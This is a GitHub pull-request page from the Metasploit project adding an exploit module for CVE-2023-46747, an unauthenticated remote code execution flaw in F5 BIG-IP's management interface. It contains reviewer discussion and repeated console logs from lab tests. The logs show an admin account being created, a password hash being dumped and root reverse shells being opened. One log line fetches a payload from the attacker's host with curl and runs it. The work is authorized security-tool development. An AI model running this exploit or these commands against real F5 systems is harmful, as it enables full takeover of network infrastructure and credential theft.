Add Exploit For CVE-2023-46747 (F5 TMUI AJP Smuggling RCE) #18497

zeroSteiner · 2023-10-30T23:00:37Z

This module exploits a flaw in F5's BIG-IP Traffic Management User Interface (TMUI) that enables an external, unauthenticated attacker to create an administrative user. Once the user is created, the module uses the new account to execute a command payload. After the module is done, the new admin account is deleted. The standard REST APIs prevent a user from deleting themselves so the module leverages the vulnerability a second time to delete them while impersonating the admin user.

The existing exploit/linux/http/f5_bigip_tmui_rce module was renamed to exploit/linux/http/f5_bigip_tmui_rce_cve_2020_5902 to clearly differentiate it from this module. There appears to be a precedence in the adjacent F5 modules to append the CVE to the end of the module name to clarify which vulnerability is being exploited.

The AutoCheck mixin was not used because the check method creates a guest user and when the AutoCheck mixin was present, this would break the exploit logic because the user didn't have the necessary privileges to execute the payload. If the check method created an Administrative user, then the AutoCheck mixin could be used. As it is now, there isn't an obvious way to have the check method create an Administrative user but only when called in the context of the exploit process. Accounting for the ForceExploit and AutoCheck methods would just complicate things.

Testing

Setup a vulnerable target (no license is required for exploitation)
Run the module and see that the payload executed successfully
See that the admin hash was saved to the database
Log into the BIG-IP web interface and see that the account Metasploit created was automatically deleted, they're listed under "System > Users"

Example

msf6 exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > set RHOSTS 192.168.159.32
RHOSTS => 192.168.159.32
msf6 exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > set PAYLOAD cmd/unix/python/meterpreter/reverse_tcp
PAYLOAD => cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > set LHOST 192.168.159.128 
LHOST => 192.168.159.128
msf6 exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > check
[+] 192.168.159.32:443 - The target is vulnerable.
msf6 exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > exploit

[*] Started reverse TCP handler on 192.168.159.128:4444 
[+] Admin user was created successfully. Credentials: UyPzjB - qu0k7MxIzIDlvS
[+] Retrieved the admin hash: $6$gquMefr5$HGA8j7xLzHq2cfZOSudg6g6vETPpHthWOSWJtCtYd1sWRoNGCLnAQKbRvQoRm1QgEm8fC3HfH5tLI9KSSr8M10
[*] Obtained login token: 4TAZKYHLZCHPQX3FC47VWNSEUA
[*] Sending stage (24768 bytes) to 192.168.159.32
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.32:35438) at 2023-11-01 16:36:04 -0400

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : f5test2.home.lan
OS           : Linux 3.10.0-862.14.4.el7.ve.x86_64 #1 SMP Thu Jul 14 23:41:24 PDT 2022
Architecture : x64
Meterpreter  : python/linux
meterpreter > pwd
/var/service/restjavad
meterpreter > background 
[*] Backgrounding session 1...
msf6 exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > creds
Credentials
===========

host            origin          service                   public  private                                                                                              realm  private_type        JtR Format    cracked_password
----            ------          -------                   ------  -------                                                                                              -----  ------------        ----------    ----------------
192.168.159.32  192.168.159.32  443/tcp (F5 BIG-IP TMUI)  admin   $6$gquMefr5$HGA8j7xLzHq2cfZOSudg6g6vETPpHthWOSWJtCtYd1sWRoNGCLnAQKbRvQoRm1QgEm8fC3HfH5t (TRUNCATED)         Nonreplayable hash  sha512,crypt  

msf6 exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) >

jheysel-r7

Looking great so far. I know things are going to change so didn't review too thoroughly, just added one suggestion to make things run smoothly.

BIGIP 16.1.2.1.-0.0.10-ALL-vmware (vulnerable target)
The module runs as expected and returns a root shell

msf6 exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > run

[*] Command to run on remote host: curl -so /tmp/nUILTAOc http://192.168.123.1:8080/iWIVXt4sBwzVNa28qZFpsw; chmod +x /tmp/nUILTAOc; /tmp/nUILTAOc &
[*] Fetch Handler listening on 192.168.123.1:8080
[*] HTTP server started
[*] Adding resource /iWIVXt4sBwzVNa28qZFpsw
[*] Started reverse TCP handler on 192.168.123.1:4444
[*] exploiting
[*] Sleeping for 2 seconds before attempting again
[+] Created administrator user: ahpYG:t4Sock4v2lCW
[*] Obtained login token: E5XEEVXNZMVFYPGRITLHXBJBPH
[*] Client 192.168.123.226 requested /iWIVXt4sBwzVNa28qZFpsw
[*] Sending payload to 192.168.123.226 (curl/7.47.1)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 192.168.123.226
[*] Meterpreter session 2 opened (192.168.123.1:4444 -> 192.168.123.226:58524) at 2023-10-31 12:36:41 -0400

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : localhost.localdomain
OS           : CentOS 7.3.1611 (Linux 3.10.0-862.14.4.el7.ve.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

BIGIP 16.0.1-0.0.3.ALL-vmware (not vulnerable)
Affected versions in the 16.x range are: 16.1.0 - 16.1.4
I setup a patched target and figured I'd include the test results. Not sure how you plan on writing the check method, if version info isn't readily available this might be useful:

...

####################
# Request:
####################
PATCH /mgmt/shared/authz/users/epmEw HTTP/1.1
Host: 192.168.123.225
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Safari/605.1.15
Authorization: Basic ZXBtRXc6OGZYYVFqR3FOTmVt
Content-Type: application/json
Content-Length: 56

{"oldPassword":"8fXaQjGqNNem","password":"yAacbYs9nwDH"}
####################
# Response:
####################
HTTP/1.1 401 F5 Authorization Required
Date: Tue, 31 Oct 2023 16:06:07 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=16070400; includeSubDomains
Content-Length: 381
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>401 Unauthorized</title>
</head><body>
<h1>Unauthorized</h1>
<p>This server could not verify that you
are authorized to access the document
requested.  Either you supplied the wrong
credentials (e.g., bad password), or your
browser doesn't understand how to supply
the credentials required.</p>
</body></html>

[*] Final attempt. Sleeping for the remaining 8 seconds out of total timeout 30
[-] Exploit aborted due to failure: unexpected-reply: Failed to change the password.
[*] Exploit completed, but no session was created.

modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb

jheysel-r7

Great changes, looking good. First try retesting the module I got a root session with no issues.

msf6 > use f5_bigip_tmui_rce_cve_2023_46747
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp

msf6 exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > set rhosts 192.168.123.226
rhosts => 192.168.123.226
msf6 exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > set lhost 192.168.123.1
lhost => 192.168.123.1
msf6 exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > set fetch_srvhost 192.168.123.1
fetch_srvhost => 192.168.123.1
msf6 exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > options

Module options (exploit/linux/http/f5_bigip_tmui_rce_cve_2023_46747):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     192.168.123.226  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      443              yes       The target port (TCP)
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       Base path
   VHOST                       no        HTTP server virtual host


Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   FETCH_COMMAND       CURL             yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
   FETCH_DELETE        false            yes       Attempt to delete the binary after execution
   FETCH_FILENAME      DDzvzHPl         no        Name to use on remote system when storing payload; cannot contain spaces.
   FETCH_SRVHOST       192.168.123.1    no        Local IP to use for serving payload
   FETCH_SRVPORT       8080             yes       Local port to use for serving payload
   FETCH_URIPATH                        no        Local URI to use for serving payload
   FETCH_WRITABLE_DIR  /tmp             yes       Remote writable dir to store payload; cannot contain spaces.
   LHOST               192.168.123.1    yes       The listen address (an interface may be specified)
   LPORT               4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Command



View the full module info with the info, or info -d command.

msf6 exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > run

[*] Started reverse TCP handler on 192.168.123.1:4444
[+] Admin user was created successfully. Credentials: XcHlOk - BPCJMuhJ9qRfu
[+] Retrieved the admin hash: $6$NXLmNels$bY88mPCfukgSQgUvUW.fiMla5o2K1/E02cONCZkP1nTUmftSkXI5lmj/rI4QccOkflWWKIOWFtn/n836hl4S00
[*] Obtained login token: U336NG3S7AHVJFEA2CHKTS5WEZ
[*] Sending stage (3045380 bytes) to 192.168.123.226
[*] Meterpreter session 1 opened (192.168.123.1:4444 -> 192.168.123.226:49036) at 2023-11-01 20:11:13 -0400

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : localhost.localdomain
OS           : CentOS 7.3.1611 (Linux 3.10.0-862.14.4.el7.ve.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.123.226 - Meterpreter session 1 closed.  Reason: Died
msf6 exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > check
[+] 192.168.123.226:443 - The target is vulnerable.

modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb

lib/rex/proto/apache_j_p.rb

adfoster-r7 · 2023-11-02T13:46:34Z

modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2020_5902.rb

@@ -11,6 +11,8 @@ class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::FileDropper
+  include Msf::Exploit::Deprecated
+  moved_from 'exploit/linux/http/f5_bigip_tmui_rce'


lib/rex/proto/apache_j_p.rb

adfoster-r7 · 2023-11-02T13:49:07Z

lib/rex/proto/apache_j_p.rb

+
+require 'bindata'
+
+# @see: https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html


Not a blocker; Potentially putting a waybackmachine link here would help future travellers 👀

https://web.archive.org/web/20231106223828/https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html

modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb

adfoster-r7 · 2023-11-02T14:02:04Z

modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb

+  end
+
+  def check
+    res = create_user(role: 'Guest')


Not a blocker, I don't think this warrants requiring a defanged mode as it's going to create a user and leave it behind as a worse-case scenario which won't break any environments

adfoster-r7 · 2023-11-02T14:03:54Z

modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb

+  end
+
+  def password
+    @password ||= Rex::Text.rand_text_alphanumeric(12..14)


Not a hard blocker, is it possible to use special characters here?

I increased the size from 12..14 to 16..20. Special characters are a bit more complicated. After checking URI.encode_www_form, I only found two characters (.*) that do not get expanded to 3 characters. Because of the expansion, it's harder to guarantee that the password will fit within the allotted space.

[3] pry(#<Msf::Modules::Exploit__Linux__Http__F5_bigip_tmui_rce_cve_2023_46747::MetasploitModule>)> URI.encode_www_form('password' => 'FoO!@#$%^&*()~`{}|[]\:";<>?,./') => "password=FoO%21%40%23%24%25%5E%26*%28%29%7E%60%7B%7D%7C%5B%5D%5C%3A%22%3B%3C%3E%3F%2C.%2F"

The module is generally reliable, but may fail after it's been run multiple times.

jheysel-r7 · 2023-11-02T15:44:23Z

Awesome job! Final testing output:

msf6 exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > set rhosts 192.168.123.227
rhosts => 192.168.123.227
msf6 exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > set lhost 192.168.123.1
lhost => 192.168.123.1
msf6 exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > set fetch_srvhost 192.168.123.1
fetch_srvhost => 192.168.123.1
msf6 exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > set PAYLOAD cmd/unix/python/meterpreter/reverse_tcp
PAYLOAD => cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > check

[*] Deleting the created user...
[*] 192.168.123.227:443 - The target is not exploitable. Failed to create the user.
msf6 exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > check

[*] Deleting the created user...
[+] 192.168.123.227:443 - The target is vulnerable. Successfully tested unauthenticated user creation.
msf6 exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > exploit

[*] Started reverse TCP handler on 192.168.123.1:4444
[+] Admin user was created successfully. Credentials: LfeqsrGe - 54f366R7wshjKegn4hR2
[+] Retrieved the admin hash: $6$ca8TP9xp$JJbbckNQNleAf/dpzEQcca92ytpm/l07gd8lB39k2iUMtQvBWk7w6N/gra0wbFpkjnHpcnqLq9BVifjNv2izn0
[*] Obtained login token: 7ZHXI77ARDWVJYPHXTIVBDHU5Q
[*] Sending stage (24772 bytes) to 192.168.123.227
[*] Meterpreter session 1 opened (192.168.123.1:4444 -> 192.168.123.227:60052) at 2023-11-02 11:42:56 -0400
[*] Deleting the created user...

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : localhost.localdomain
OS           : Linux 3.10.0-862.14.4.el7.ve.x86_64 #1 SMP Wed Dec 22 15:12:22 PST 2021
Architecture : x64
Meterpreter  : python/linux
meterpreter >

🚢 🚢 🚢

jheysel-r7 · 2023-11-02T15:50:54Z

Release Notes

This module exploits a flaw in F5s BIG-IP Traffic Management User Interface (TMUI) that enables an external, unauthenticated attacker to create an administrative user. The attacker can then use the admin user to execute arbitrary code in the context of the root user.

zeroSteiner changed the title ~~Add Exploit For CVE-2023-23747 (F5 TMUI AJP Smuggling RCE)~~ Add Exploit For CVE-2023-46747 (F5 TMUI AJP Smuggling RCE) Oct 31, 2023

Initial commit of CVE-2023-46747

04388d9

zeroSteiner force-pushed the feat/mod/cve-2023-23747 branch from 302d721 to 04388d9 Compare October 31, 2023 13:55

jheysel-r7 reviewed Oct 31, 2023

View reviewed changes

modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb Outdated Show resolved Hide resolved

zeroSteiner added 5 commits October 31, 2023 15:27

Fetch the admin hash as a bonus

c803d6e

Finish cleaning the exploit up

714eeaa

Add the check method

0325291

Add module docs

7b53592

Rename the other TMUI RCE module

9c67b92

zeroSteiner force-pushed the feat/mod/cve-2023-23747 branch from 5b0ec94 to 9c67b92 Compare November 1, 2023 20:55

zeroSteiner marked this pull request as ready for review November 1, 2023 21:03

jheysel-r7 reviewed Nov 2, 2023

View reviewed changes

modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb Outdated Show resolved Hide resolved

modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb Show resolved Hide resolved

lib/rex/proto/apache_j_p.rb Outdated Show resolved Hide resolved

Add check code annotations, update AJP link

d26742a

adfoster-r7 reviewed Nov 2, 2023

View reviewed changes

lib/rex/proto/apache_j_p.rb Show resolved Hide resolved

adfoster-r7 reviewed Nov 2, 2023

View reviewed changes

modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb Show resolved Hide resolved

adfoster-r7 reviewed Nov 2, 2023

View reviewed changes

modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb Outdated Show resolved Hide resolved

adfoster-r7 reviewed Nov 2, 2023

View reviewed changes

jheysel-r7 self-assigned this Nov 2, 2023

zeroSteiner added 2 commits November 2, 2023 10:17

Feedback from module review

cea4c1f

Remove the REPEATABLE_SESSION tag

27d86be

The module is generally reliable, but may fail after it's been run multiple times.

jheysel-r7 merged commit 17f7d5c into rapid7:master Nov 2, 2023
34 checks passed

jheysel-r7 added module docs rn-modules release notes for new or majorly enhanced modules labels Nov 2, 2023

zeroSteiner mentioned this pull request Nov 17, 2023

Refactor the ghostcat module to use the AJP definitions provided by Rex::Proto #18548

Merged

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Add Exploit For CVE-2023-46747 (F5 TMUI AJP Smuggling RCE) #18497

Add Exploit For CVE-2023-46747 (F5 TMUI AJP Smuggling RCE) #18497

zeroSteiner commented Oct 30, 2023 •

edited

jheysel-r7 left a comment

jheysel-r7 left a comment

adfoster-r7 Nov 2, 2023

adfoster-r7 Nov 2, 2023

wvu Nov 6, 2023

adfoster-r7 Nov 2, 2023

adfoster-r7 Nov 2, 2023

zeroSteiner Nov 2, 2023

jheysel-r7 commented Nov 2, 2023

jheysel-r7 commented Nov 2, 2023


		require 'bindata'

		# @see: https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html

Add Exploit For CVE-2023-46747 (F5 TMUI AJP Smuggling RCE) #18497

Add Exploit For CVE-2023-46747 (F5 TMUI AJP Smuggling RCE) #18497

Conversation

zeroSteiner commented Oct 30, 2023 • edited

Testing

Example

jheysel-r7 left a comment

Choose a reason for hiding this comment

jheysel-r7 left a comment

Choose a reason for hiding this comment

adfoster-r7 Nov 2, 2023

Choose a reason for hiding this comment

adfoster-r7 Nov 2, 2023

Choose a reason for hiding this comment

wvu Nov 6, 2023

Choose a reason for hiding this comment

adfoster-r7 Nov 2, 2023

Choose a reason for hiding this comment

adfoster-r7 Nov 2, 2023

Choose a reason for hiding this comment

zeroSteiner Nov 2, 2023

Choose a reason for hiding this comment

jheysel-r7 commented Nov 2, 2023

jheysel-r7 commented Nov 2, 2023

Release Notes

zeroSteiner commented Oct 30, 2023 •

edited